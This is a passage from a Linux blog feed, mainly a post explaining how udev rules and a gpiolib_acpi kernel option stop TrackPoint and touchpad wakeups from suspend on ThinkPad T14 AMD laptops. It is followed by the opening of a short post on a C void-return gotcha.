    <li><a href="#disabling-touchpad-as-a-wakeup-source-on-t14-gen-5-amd">Disabling touchpad as a wakeup source on T14 Gen 5 AMD</a></li>
    <li><a href="#disabling-trackpoint-as-a-wakeup-source-on-t14-gen-5-amd">Disabling TrackPoint as a wakeup source on T14 Gen 5 AMD</a></li>
    <li><a href="#in-the-case-of-thinkpad-t14-gen-3-amd">In the case of ThinkPad T14 Gen 3 AMD</a></li>
    <li><a href="#references">References</a></li>
  </ul>
</nav>
</details>

<h2 id="the-motivation">The motivation</h2>


















<figure  id="figure-whenever-something-touches-the-red-cap-the-system-wakes-up-from-suspends2idle">
  <div class="d-flex justify-content-center">
    <div class="w-100" ><img alt="Whenever something touches the red cap, the system wakes up from suspend/s2idle." srcset="
               /post/2025/how-to-prevent-trackpoint-events-from-waking-up-thinkpad-t14-gen-5-amd-from-suspend/featured_hu236477c92f30afd096faecc971ed105b_216203_4c1c11344310bee682732078c26bf1f3.webp 400w,
               /post/2025/how-to-prevent-trackpoint-events-from-waking-up-thinkpad-t14-gen-5-amd-from-suspend/featured_hu236477c92f30afd096faecc971ed105b_216203_81f124a57e0d1d41c2112639562f955b.webp 760w,
               /post/2025/how-to-prevent-trackpoint-events-from-waking-up-thinkpad-t14-gen-5-amd-from-suspend/featured_hu236477c92f30afd096faecc971ed105b_216203_1200x1200_fit_q75_h2_lanczos.webp 1200w"
               src="https://nobuto-m.github.io/post/2025/how-to-prevent-trackpoint-events-from-waking-up-thinkpad-t14-gen-5-amd-from-suspend/featured_hu236477c92f30afd096faecc971ed105b_216203_4c1c11344310bee682732078c26bf1f3.webp"
               width="760"
               height="428"
               loading="lazy" data-zoomable /></div>
  </div><figcaption>
      Whenever something touches the red cap, the system wakes up from suspend/s2idle.
    </figcaption></figure>

<p>I&rsquo;ve used ThinkPad T14 Gen 3 AMD for 2 years, and I recently purchased T14 <strong>Gen 5</strong> AMD. The previous system as Gen 3 annoyed me so much because the laptop randomly woke up from suspend even inside a backpack on its own, heated up the confined air in it, and drained the battery pretty fast as a consequence. Basically it&rsquo;s too sensitive to any events. For example, whenever a USB Type-C cable is plugged in as a power source or whenever something touches the TrackPoint <strong>even if a display on a closed lid slightly makes contact with the red cap, the system wakes up from suspend</strong>. It was uncontrollable.</p>
<p>I was hoping that Gen 5 would make a difference, and it did when it comes to the power source event. However, frequent wakeups due to the TrackPoint event remained the same so I started to dig in.</p>
<h2 id="disabling-touchpad-as-a-wakeup-source-on-t14-gen-5-amd">Disabling touchpad as a wakeup source on T14 Gen 5 AMD</h2>
<p>Disabling touchpad events as a wakeup source is straightforward. The touchpad device, <code>ELAN0676:00 04F3:3195 Touchpad</code>, can be found in the udev device tree as follows.</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="cl">$ udevadm info --tree
</span></span><span class="line"><span class="cl">...
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"> └─input/input12
</span></span><span class="line"><span class="cl">   ┆ P: /devices/platform/AMDI0010:01/i2c-1/i2c-ELAN0676:00/0018:04F3:3195.0001/input/input12
</span></span><span class="line"><span class="cl">   ┆ M: input12
</span></span><span class="line"><span class="cl">   ┆ R: <span class="m">12</span>
</span></span><span class="line"><span class="cl">   ┆ U: input
</span></span><span class="line"><span class="cl">   ┆ E: <span class="nv">DEVPATH</span><span class="o">=</span>/devices/platform/AMDI0010:01/i2c-1/i2c-ELAN0676:00/0018:04F3:3195.0001/input/input12
</span></span><span class="line"><span class="cl">   ┆ E: <span class="nv">SUBSYSTEM</span><span class="o">=</span>input
</span></span><span class="line"><span class="cl">   ┆ E: <span class="nv">PRODUCT</span><span class="o">=</span>18/4f3/3195/100
</span></span><span class="line"><span class="cl">   ┆ E: <span class="nv">NAME</span><span class="o">=</span><span class="s2">&#34;ELAN0676:00 04F3:3195 Touchpad&#34;</span>
</span></span><span class="line"><span class="cl">   ┆ E: <span class="nv">PHYS</span><span class="o">=</span><span class="s2">&#34;i2c-ELAN0676:00&#34;</span>
</span></span></code></pre></div><p>And you can get all attributes including parent devices like the following.</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="cl">$ udevadm info --attribute-walk -p /devices/platform/AMDI0010:01/i2c-1/i2c-ELAN0676:00/0018:04F3:3195.0001/input/input12
</span></span><span class="line"><span class="cl">...
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">  looking at device <span class="s1">&#39;/devices/platform/AMDI0010:01/i2c-1/i2c-ELAN0676:00/0018:04F3:3195.0001/input/input12&#39;</span>:
</span></span><span class="line"><span class="cl">    <span class="nv">KERNEL</span><span class="o">==</span><span class="s2">&#34;input12&#34;</span>
</span></span><span class="line"><span class="cl">    <span class="nv">SUBSYSTEM</span><span class="o">==</span><span class="s2">&#34;input&#34;</span>
</span></span><span class="line"><span class="cl">    <span class="nv">DRIVER</span><span class="o">==</span><span class="s2">&#34;&#34;</span>
</span></span><span class="line"><span class="cl">    ...
</span></span><span class="line"><span class="cl">    ATTR<span class="o">{</span>name<span class="o">}==</span><span class="s2">&#34;ELAN0676:00 04F3:3195 Touchpad&#34;</span>
</span></span><span class="line"><span class="cl">    ATTR<span class="o">{</span>phys<span class="o">}==</span><span class="s2">&#34;i2c-ELAN0676:00&#34;</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">...
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">  looking at parent device <span class="s1">&#39;/devices/platform/AMDI0010:01/i2c-1/i2c-ELAN0676:00&#39;</span>:
</span></span><span class="line"><span class="cl">    <span class="nv">KERNELS</span><span class="o">==</span><span class="s2">&#34;i2c-ELAN0676:00&#34;</span>
</span></span><span class="line"><span class="cl">    <span class="nv">SUBSYSTEMS</span><span class="o">==</span><span class="s2">&#34;i2c&#34;</span>
</span></span><span class="line"><span class="cl">    <span class="nv">DRIVERS</span><span class="o">==</span><span class="s2">&#34;i2c_hid_acpi&#34;</span>
</span></span><span class="line"><span class="cl">    ATTRS<span class="o">{</span>name<span class="o">}==</span><span class="s2">&#34;ELAN0676:00&#34;</span>
</span></span><span class="line"><span class="cl">    ...
</span></span><span class="line"><span class="cl">    ATTRS<span class="o">{</span>power/wakeup<span class="o">}==</span><span class="s2">&#34;enabled&#34;</span>
</span></span></code></pre></div><p>The line I&rsquo;m looking for is <code>ATTRS{power/wakeup}==&quot;enabled&quot;</code>. By using the identifiers of the parent device that has <code>ATTRS{power/wakeup}</code>, I can make sure that <code>/sys/devices/platform/AMDI0010:01/i2c-1/i2c-ELAN0676:00/power/wakeup</code> is always <code>disabled</code> with the custom udev rule as follows.</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-shell" data-lang="shell"><span class="line"><span class="cl"><span class="nv">KERNEL</span><span class="o">==</span><span class="s2">&#34;i2c-ELAN0676:00&#34;</span>, <span class="nv">SUBSYSTEM</span><span class="o">==</span><span class="s2">&#34;i2c&#34;</span>, <span class="nv">DRIVERS</span><span class="o">==</span><span class="s2">&#34;i2c_hid_acpi&#34;</span>, ATTR<span class="o">{</span>power/wakeup<span class="o">}=</span><span class="s2">&#34;disabled&#34;</span>
</span></span></code></pre></div><h2 id="disabling-trackpoint-as-a-wakeup-source-on-t14-gen-5-amd">Disabling TrackPoint as a wakeup source on T14 Gen 5 AMD</h2>
<p>I&rsquo;ve seen a pattern already as above so I <em>should</em> be able to apply the same method. The TrackPoint device, <code>TPPS/2 Elan TrackPoint</code>, can be found in the udev device tree.</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="cl">$ udevadm info --tree
</span></span><span class="line"><span class="cl">...
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"> └─input/input5
</span></span><span class="line"><span class="cl">   ┆ P: /devices/platform/i8042/serio1/input/input5
</span></span><span class="line"><span class="cl">   ┆ M: input5
</span></span><span class="line"><span class="cl">   ┆ R: <span class="m">5</span>
</span></span><span class="line"><span class="cl">   ┆ U: input
</span></span><span class="line"><span class="cl">   ┆ E: <span class="nv">DEVPATH</span><span class="o">=</span>/devices/platform/i8042/serio1/input/input5
</span></span><span class="line"><span class="cl">   ┆ E: <span class="nv">SUBSYSTEM</span><span class="o">=</span>input
</span></span><span class="line"><span class="cl">   ┆ E: <span class="nv">PRODUCT</span><span class="o">=</span>11/2/a/63
</span></span><span class="line"><span class="cl">   ┆ E: <span class="nv">NAME</span><span class="o">=</span><span class="s2">&#34;TPPS/2 Elan TrackPoint&#34;</span>
</span></span><span class="line"><span class="cl">   ┆ E: <span class="nv">PHYS</span><span class="o">=</span><span class="s2">&#34;isa0060/serio1/input0&#34;</span>
</span></span></code></pre></div><p>And the information of parent devices too.</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="cl">$ udevadm info --attribute-walk -p /devices/platform/i8042/serio1/input/input5
</span></span><span class="line"><span class="cl">...
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">  looking at device <span class="s1">&#39;/devices/platform/i8042/serio1/input/input5&#39;</span>:
</span></span><span class="line"><span class="cl">    <span class="nv">KERNEL</span><span class="o">==</span><span class="s2">&#34;input5&#34;</span>
</span></span><span class="line"><span class="cl">    <span class="nv">SUBSYSTEM</span><span class="o">==</span><span class="s2">&#34;input&#34;</span>
</span></span><span class="line"><span class="cl">    <span class="nv">DRIVER</span><span class="o">==</span><span class="s2">&#34;&#34;</span>
</span></span><span class="line"><span class="cl">    ...
</span></span><span class="line"><span class="cl">    ATTR<span class="o">{</span>name<span class="o">}==</span><span class="s2">&#34;TPPS/2 Elan TrackPoint&#34;</span>
</span></span><span class="line"><span class="cl">    ATTR<span class="o">{</span>phys<span class="o">}==</span><span class="s2">&#34;isa0060/serio1/input0&#34;</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">...
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">  looking at parent device <span class="s1">&#39;/devices/platform/i8042/serio1&#39;</span>:
</span></span><span class="line"><span class="cl">    <span class="nv">KERNELS</span><span class="o">==</span><span class="s2">&#34;serio1&#34;</span>
</span></span><span class="line"><span class="cl">    <span class="nv">SUBSYSTEMS</span><span class="o">==</span><span class="s2">&#34;serio&#34;</span>
</span></span><span class="line"><span class="cl">    <span class="nv">DRIVERS</span><span class="o">==</span><span class="s2">&#34;psmouse&#34;</span>
</span></span><span class="line"><span class="cl">    ATTRS<span class="o">{</span>bind_mode<span class="o">}==</span><span class="s2">&#34;auto&#34;</span>
</span></span><span class="line"><span class="cl">    ATTRS<span class="o">{</span>description<span class="o">}==</span><span class="s2">&#34;i8042 AUX port&#34;</span>
</span></span><span class="line"><span class="cl">    ATTRS<span class="o">{</span>drvctl<span class="o">}==</span><span class="s2">&#34;(not readable)&#34;</span>
</span></span><span class="line"><span class="cl">    ATTRS<span class="o">{</span>firmware_id<span class="o">}==</span><span class="s2">&#34;PNP: LEN0321 PNP0f13&#34;</span>
</span></span><span class="line"><span class="cl">    ...
</span></span><span class="line"><span class="cl">    ATTRS<span class="o">{</span>power/wakeup<span class="o">}==</span><span class="s2">&#34;disabled&#34;</span>
</span></span></code></pre></div><p>I hit the wall here. <code>ATTRS{power/wakeup}==&quot;disabled&quot;</code> for the <code>i8042 AUX port</code> is already there but the TrackPoint still wakes up the system from suspend. I had to do bisecting for all remaining wakeup sources.</p>
<details class="spoiler "  id="spoiler-2">
  <summary>The list of the remaining wakeup sources</summary>
  <p><div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="cl">$ cat /proc/acpi/wakeup
</span></span><span class="line"><span class="cl">Device	S-state	  Status   Sysfs node
</span></span><span class="line"><span class="cl">GPP0	  S0	*disabled
</span></span><span class="line"><span class="cl">GPP2	  S3	*disabled
</span></span><span class="line"><span class="cl">GPP5	  S0	*enabled   pci:0000:00:02.1
</span></span><span class="line"><span class="cl">GPP6	  S4	*enabled   pci:0000:00:02.2
</span></span><span class="line"><span class="cl">GP11	  S4	*enabled   pci:0000:00:03.1
</span></span><span class="line"><span class="cl">SWUS	  S4	*disabled
</span></span><span class="line"><span class="cl">GP12	  S4	*enabled   pci:0000:00:04.1
</span></span><span class="line"><span class="cl">SWUS	  S4	*disabled
</span></span><span class="line"><span class="cl">XHC0	  S3	*enabled   pci:0000:c4:00.3
</span></span><span class="line"><span class="cl">XHC1	  S4	*enabled   pci:0000:c4:00.4
</span></span><span class="line"><span class="cl">XHC2	  S4	*disabled  pci:0000:c6:00.0
</span></span><span class="line"><span class="cl">NHI0	  S3	*enabled   pci:0000:c6:00.5
</span></span><span class="line"><span class="cl">XHC3	  S3	*enabled   pci:0000:c6:00.3
</span></span><span class="line"><span class="cl">NHI1	  S4	*enabled   pci:0000:c6:00.6
</span></span><span class="line"><span class="cl">XHC4	  S3	*enabled   pci:0000:c6:00.4
</span></span><span class="line"><span class="cl">LID	  S4	*enabled   platform:PNP0C0D:00
</span></span><span class="line"><span class="cl">SLPB	  S3	*enabled   platform:PNP0C0E:00
</span></span></code></pre></div><div class="highlight"><pre tabindex="0" class="chroma"><code class="language-fallback" data-lang="fallback"><span class="line"><span class="cl"> Wakeup sources:
</span></span><span class="line"><span class="cl"> │  [/sys/devices/platform/USBC000:00/power_supply/ucsi-source-psy-USBC000:001/wakeup66]: enabled
</span></span><span class="line"><span class="cl"> │  [/sys/devices/platform/USBC000:00/power_supply/ucsi-source-psy-USBC000:002/wakeup67]: enabled
</span></span><span class="line"><span class="cl"> │ ACPI Battery [PNP0C0A:00]: enabled
</span></span><span class="line"><span class="cl"> │ ACPI Lid Switch [PNP0C0D:00]: enabled
</span></span><span class="line"><span class="cl"> │ ACPI Power Button [PNP0C0C:00]: enabled
</span></span><span class="line"><span class="cl"> │ ACPI Sleep Button [PNP0C0E:00]: enabled
</span></span><span class="line"><span class="cl"> │ AT Translated Set 2 keyboard [serio0]: enabled
</span></span><span class="line"><span class="cl"> │ Advanced Micro Devices, Inc. [AMD] ISA bridge [0000:00:14.3]: enabled
</span></span><span class="line"><span class="cl"> │ Advanced Micro Devices, Inc. [AMD] Multimedia controller [0000:c4:00.5]: enabled
</span></span><span class="line"><span class="cl"> │ Advanced Micro Devices, Inc. [AMD] PCI bridge [0000:00:02.1]: enabled
</span></span><span class="line"><span class="cl"> │ Advanced Micro Devices, Inc. [AMD] PCI bridge [0000:00:02.2]: enabled
</span></span><span class="line"><span class="cl"> │ Advanced Micro Devices, Inc. [AMD] PCI bridge [0000:00:03.1]: enabled
</span></span><span class="line"><span class="cl"> │ Advanced Micro Devices, Inc. [AMD] PCI bridge [0000:00:04.1]: enabled
</span></span><span class="line"><span class="cl"> │ Advanced Micro Devices, Inc. [AMD] USB controller [0000:c4:00.3]: enabled
</span></span><span class="line"><span class="cl"> │ Advanced Micro Devices, Inc. [AMD] USB controller [0000:c4:00.4]: enabled
</span></span><span class="line"><span class="cl"> │ Advanced Micro Devices, Inc. [AMD] USB controller [0000:c6:00.3]: enabled
</span></span><span class="line"><span class="cl"> │ Advanced Micro Devices, Inc. [AMD] USB controller [0000:c6:00.4]: enabled
</span></span><span class="line"><span class="cl"> │ Advanced Micro Devices, Inc. [AMD] USB controller [0000:c6:00.5]: enabled
</span></span><span class="line"><span class="cl"> │ Advanced Micro Devices, Inc. [AMD] USB controller [0000:c6:00.6]: enabled
</span></span><span class="line"><span class="cl"> │ Mobile Broadband host interface [mhi0]: enabled
</span></span><span class="line"><span class="cl"> │ Plug-n-play Real Time Clock [00:01]: enabled
</span></span><span class="line"><span class="cl"> │ Real Time Clock alarm timer [rtc0]: enabled
</span></span><span class="line"><span class="cl"> │ Thunderbolt domain [domain0]: enabled
</span></span><span class="line"><span class="cl"> │ Thunderbolt domain [domain1]: enabled
</span></span><span class="line"><span class="cl"> │ USB4 host controller [0-0]: enabled
</span></span><span class="line"><span class="cl"> └─USB4 host controller [1-0]: enabled
</span></span></code></pre></div></p>
</details>
<p>Somehow, disabling <code>SLPB</code> &ldquo;ACPI Sleep Button&rdquo; stopped undesired wakeups by the TrackPoint.</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="cl">  looking at parent device <span class="s1">&#39;/devices/LNXSYSTM:00/LNXSYBUS:00/PNP0C0E:00&#39;</span>:
</span></span><span class="line"><span class="cl">    <span class="nv">KERNELS</span><span class="o">==</span><span class="s2">&#34;PNP0C0E:00&#34;</span>
</span></span><span class="line"><span class="cl">    <span class="nv">SUBSYSTEMS</span><span class="o">==</span><span class="s2">&#34;acpi&#34;</span>
</span></span><span class="line"><span class="cl">    <span class="nv">DRIVERS</span><span class="o">==</span><span class="s2">&#34;button&#34;</span>
</span></span><span class="line"><span class="cl">    ATTRS<span class="o">{</span>hid<span class="o">}==</span><span class="s2">&#34;PNP0C0E&#34;</span>
</span></span><span class="line"><span class="cl">    ATTRS<span class="o">{</span>path<span class="o">}==</span><span class="s2">&#34;\_SB_.SLPB&#34;</span>
</span></span><span class="line"><span class="cl">    ...
</span></span><span class="line"><span class="cl">    ATTRS<span class="o">{</span>power/wakeup<span class="o">}==</span><span class="s2">&#34;enabled&#34;</span>
</span></span></code></pre></div><p>The final udev rule is the following. It also disables wakeup events from the keyboard as a side effect, but opening the lid or pressing the power button can still wake up the system so it works for me.</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-shell" data-lang="shell"><span class="line"><span class="cl"><span class="nv">KERNEL</span><span class="o">==</span><span class="s2">&#34;PNP0C0E:00&#34;</span>, ATTR<span class="o">{</span>power/wakeup<span class="o">}=</span><span class="s2">&#34;disabled&#34;</span>
</span></span></code></pre></div><h2 id="in-the-case-of-thinkpad-t14-gen-3-amd">In the case of ThinkPad T14 Gen 3 AMD</h2>
<p>After solving the headache of frequent wakeups for T14 Gen5 AMD. I was curious if I could apply the same to Gen 3 AMD retrospectively. Gen 3 has the following wakeup sources active out of the box.</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-fallback" data-lang="fallback"><span class="line"><span class="cl"> Wakeup sources:
</span></span><span class="line"><span class="cl"> │ ACPI Battery [PNP0C0A:00]: enabled
</span></span><span class="line"><span class="cl"> │ ACPI Lid Switch [PNP0C0D:00]: enabled
</span></span><span class="line"><span class="cl"> │ ACPI Power Button [LNXPWRBN:00]: enabled
</span></span><span class="line"><span class="cl"> │ ACPI Power Button [PNP0C0C:00]: enabled
</span></span><span class="line"><span class="cl"> │ ACPI Sleep Button [PNP0C0E:00]: enabled
</span></span><span class="line"><span class="cl"> │ AT Translated Set 2 keyboard [serio0]: enabled
</span></span><span class="line"><span class="cl"> │ Advanced Micro Devices, Inc. [AMD] ISA bridge [0000:00:14.3]: enabled
</span></span><span class="line"><span class="cl"> │ Advanced Micro Devices, Inc. [AMD] PCI bridge [0000:00:02.1]: enabled
</span></span><span class="line"><span class="cl"> │ Advanced Micro Devices, Inc. [AMD] PCI bridge [0000:00:02.2]: enabled
</span></span><span class="line"><span class="cl"> │ Advanced Micro Devices, Inc. [AMD] USB controller [0000:04:00.3]: enabled
</span></span><span class="line"><span class="cl"> │ Advanced Micro Devices, Inc. [AMD] USB controller [0000:04:00.4]: enabled
</span></span><span class="line"><span class="cl"> │ Advanced Micro Devices, Inc. [AMD] USB controller [0000:05:00.0]: enabled
</span></span><span class="line"><span class="cl"> │ Advanced Micro Devices, Inc. [AMD] USB controller [0000:05:00.3]: enabled
</span></span><span class="line"><span class="cl"> │ Advanced Micro Devices, Inc. [AMD] USB controller [0000:05:00.4]: enabled
</span></span><span class="line"><span class="cl"> │ ELAN0678:00 04F3:3195 Mouse [i2c-ELAN0678:00]: enabled
</span></span><span class="line"><span class="cl"> │ Mobile Broadband host interface [mhi0]: enabled
</span></span><span class="line"><span class="cl"> │ Plug-n-play Real Time Clock [00:01]: enabled
</span></span><span class="line"><span class="cl"> └─Real Time Clock alarm timer [rtc0]: enabled
</span></span></code></pre></div><p>Disabling the touchpad event was straightforward. The only difference from Gen 5 was the ID of the device.</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-shell" data-lang="shell"><span class="line"><span class="cl"><span class="nv">KERNEL</span><span class="o">==</span><span class="s2">&#34;i2c-ELAN0678:00&#34;</span>, <span class="nv">SUBSYSTEM</span><span class="o">==</span><span class="s2">&#34;i2c&#34;</span>, <span class="nv">DRIVERS</span><span class="o">==</span><span class="s2">&#34;i2c_hid_acpi&#34;</span>, ATTR<span class="o">{</span>power/wakeup<span class="o">}=</span><span class="s2">&#34;disabled&#34;</span>
</span></span></code></pre></div><p>When it comes to the TrackPoint or power source event, nothing was able to stop it from waking up the system even after disabling all wakeup sources. I came across a hidden gem named <code>amd_s2idle.py</code>. The <a href="https://gitlab.freedesktop.org/drm/amd/-/blob/master/scripts/amd_s2idle.py" target="_blank" rel="noopener">&ldquo;S0i3/s2idle analysis script for AMD systems&rdquo;</a> is full with the domain knowledge of s2idle like where to look in <code>/proc</code> or <code>/sys</code> or how to enable debug and what part of the logs is important.</p>
<p>By running the script, I got the following output around the unexpected wakeup.</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-fallback" data-lang="fallback"><span class="line"><span class="cl">$ sudo python3 ./amd_s2idle.py --debug-ec --duration 30
</span></span><span class="line"><span class="cl">Debugging script for s2idle on AMD systems
</span></span><span class="line"><span class="cl">💻 LENOVO 21CF21CFT1 (ThinkPad T14 Gen 3) running BIOS 1.56 (R23ET80W (1.56 )) released 10/28/2024 and EC 1.32
</span></span><span class="line"><span class="cl">🐧 Ubuntu 24.04.1 LTS
</span></span><span class="line"><span class="cl">🐧 Kernel 6.11.0-12-generic
</span></span><span class="line"><span class="cl">🔋 Battery BAT0 (Sunwoda ) is operating at 90.91% of design
</span></span><span class="line"><span class="cl">Checking prerequisites for s2idle
</span></span><span class="line"><span class="cl">✅ Logs are provided via systemd
</span></span><span class="line"><span class="cl">✅ AMD Ryzen 7 PRO 6850U with Radeon Graphics (family 19 model 44)
</span></span><span class="line"><span class="cl">...
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">Suspending system in 0:00:02
</span></span><span class="line"><span class="cl">Suspending system in 0:00:01
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">Started at 2025-01-04 00:46:53.063495 (cycle finish expected @ 2025-01-04 00:47:27.063532)
</span></span><span class="line"><span class="cl">Collecting data in 0:00:02
</span></span><span class="line"><span class="cl">Collecting data in 0:00:01
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">Results from last s2idle cycle
</span></span><span class="line"><span class="cl">💤 Suspend count: 1
</span></span><span class="line"><span class="cl">💤 Hardware sleep cycle count: 1
</span></span><span class="line"><span class="cl">○ GPIOs active: [&#39;0&#39;]
</span></span><span class="line"><span class="cl">🥱 Wakeup triggered from IRQ 9: ACPI SCI
</span></span><span class="line"><span class="cl">🥱 Wakeup triggered from IRQ 7: GPIO Controller
</span></span><span class="line"><span class="cl">🥱 Woke up from IRQ 7: GPIO Controller
</span></span><span class="line"><span class="cl">❌ Userspace suspended for 0:00:14.031448 (&lt; minimum expected 0:00:27)
</span></span><span class="line"><span class="cl">💤 In a hardware sleep state for 0:00:10.566894 (75.31%)
</span></span><span class="line"><span class="cl">🔋 Battery BAT0 lost 10000 µWh (0.02%) [Average rate 2.57W]
</span></span><span class="line"><span class="cl">Explanations for your system
</span></span><span class="line"><span class="cl">🚦 Userspace wasn&#39;t asleep at least 0:00:30
</span></span><span class="line"><span class="cl">        The system was programmed to sleep for 0:00:30, but woke up prematurely.
</span></span><span class="line"><span class="cl">        This typically happens when the system was woken up from a non-timer based source.
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">        If you didn&#39;t intentionally wake it up, then there may be a kernel or firmware bug
</span></span></code></pre></div><p>I compared all the logs generated between the events of power button, power source, TrackPoint, and touchpad. But except for the touchpad event, everything else was coming from GPIO pin #0 and there was no more information of how to distinguish those wakeup triggers. I ended up with a drastic approach of ignoring wakeup triggers from the GPIO pin #0 completely with the following kernel option.</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-shell" data-lang="shell"><span class="line"><span class="cl">gpiolib_acpi.ignore_wake<span class="o">=</span>AMDI0030:00@0
</span></span></code></pre></div><p>And I get the line on each boot.</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="cl">kernel: amd_gpio AMDI0030:00: Ignoring wakeup on pin <span class="m">0</span>
</span></span></code></pre></div><p>That comes with obvious downsides. The system doesn&rsquo;t wake up frequently any longer, that is good. However, nothing can wake it up after getting into suspend. Opening the lid, pressing the power button or any key is simply ignored since all are going to GPIO pin #0. In the end, I had to enable the touchpad back as a wakeup source explicitly so the system can wakeup by tapping the touchpad. It&rsquo;s far from ideal, but the touchpad is less sensitive than the TrackPoint so I will keep it that way.</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-shell" data-lang="shell"><span class="line"><span class="cl"><span class="nv">KERNEL</span><span class="o">==</span><span class="s2">&#34;i2c-ELAN0678:00&#34;</span>, <span class="nv">SUBSYSTEM</span><span class="o">==</span><span class="s2">&#34;i2c&#34;</span>, <span class="nv">DRIVERS</span><span class="o">==</span><span class="s2">&#34;i2c_hid_acpi&#34;</span>, ATTR<span class="o">{</span>power/wakeup<span class="o">}=</span><span class="s2">&#34;enabled&#34;</span>
</span></span></code></pre></div><p>I guess the limitation is coming from a firmware more or less, but at the same time I don&rsquo;t expect fixes for the few year old model.</p>
<h2 id="references">References</h2>
<ul>
<li><a href="https://gitlab.freedesktop.org/drm/amd/-/blob/master/scripts/amd_s2idle.py" target="_blank" rel="noopener">scripts/amd_s2idle.py · master · drm / amd · GitLab</a></li>
<li><a href="https://gitlab.freedesktop.org/drm/amd/-/issues/2405" target="_blank" rel="noopener">Cannot disable wakeup sources on Yellow Carp / Rembrandt 6850U w/ kernels 6.0 and 6.1 (#2405) · Issues · drm / amd · GitLab</a></li>
<li><a href="https://github.com/torvalds/linux/blob/v6.11/drivers/gpio/gpiolib-acpi.c#L31-L41" target="_blank" rel="noopener">ignore_wake, ignore_interrupt linux/drivers/gpio/gpiolib-acpi.c at v6.11 · torvalds/linux</a></li>
<li><a href="https://github.com/torvalds/linux/blob/v6.11/drivers/gpio/gpiolib-acpi.c#L1518-L1700" target="_blank" rel="noopener">gpiolib_acpi_quirks linux/drivers/gpio/gpiolib-acpi.c at v6.11 · torvalds/linux</a></li>
<li><a href="https://wiki.archlinux.org/title/Lenovo_ThinkPad_T14_%28AMD%29_Gen_3" target="_blank" rel="noopener">Lenovo ThinkPad T14 (AMD) Gen 3 - ArchWiki</a></li>
<li><a href="https://github.com/systemd/systemd/issues/27077" target="_blank" rel="noopener">Introduce concept of suspend/resume with dark screen on wakeup · Issue #27077 · systemd/systemd</a></li>
</ul>]]></description>
      <source url="https://nobuto-m.github.io/tag/planet-ubuntu/index.xml">Nobuto Murata</source>
    </item>
    <item>
      <title>C void return gotcha</title>
      <link>http://smackerelofopinion.blogspot.com/2024/12/c-void-return-gotcha.html</link>
      <guid isPermaLink="true">http://smackerelofopinion.blogspot.com/2024/12/c-void-return-gotcha.html</guid>
      <pubDate>Wed, 18 Dec 2024 17:43:00 GMT</pubDate>
      <description><![CDATA[<p>Last week I was bitten by a interesting C feature. The following terminate function was expected to exit if okay was zero (false) however it exited when zero was passed to it. The reason is the missing semicolon after the return function.<br /></p><p style="text-align: center;">&nbsp;<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg5XsE4Yu_I1eR6AWu2lqrFg8fxaCPSapkZB6zAdASbARwqGZuoqE80Eqm97Hm7biYIZ7rjcgJtpwPMUniOKms_bcOqtRVO07JSno8Im1z9y5qgPkQ-I-Zl5Pwe0WerXyHBzevSbEHAu7s9m_YonDxEpwxZ3B47wxnKdsGSaP58iuoc5w7Ef0q5ozMdSAYt/s354/void-return.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="354" data-original-width="341" height="320" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg5XsE4Yu_I1eR6AWu2lqrFg8fxaCPSapkZB6zAdASbARwqGZuoqE80Eqm97Hm7biYIZ7rjcgJtpwPMUniOKms_bcOqtRVO07JSno8Im1z9y5qgPkQ-I-Zl5Pwe0WerXyHBzevSbEHAu7s9m_YonDxEpwxZ3B47wxnKdsGSaP58iuoc5w7Ef0q5ozMdSAYt/s320/void-return.png" width="308" /></a></p><p style="text-align: left;">The interesting part this that is compiles fine because the void function terminate is allowed to return the void return value, in this case the void return from exit(). <br /></p><p style="text-align: left;">&nbsp;<br /></p>]]></description>
      <source url="http://smackerelofopinion.blogspot.com/feeds/posts/default">Colin King</source>
    </item>
    <item>
      <title>Waiting for a Linux system to be online</title>
      <link>https://blog.slyon.de/2024/10/15/waiting-for-a-linux-system-to-be-online/</link>
      <guid isPermaLink="true">https://blog.slyon.de/2024/10/15/waiting-for-a-linux-system-to-be-online/</guid>
      <pubDate>Tue, 15 Oct 2024 07:33:10 GMT</pubDate>
      <description><![CDATA[<div class="wp-block-image">
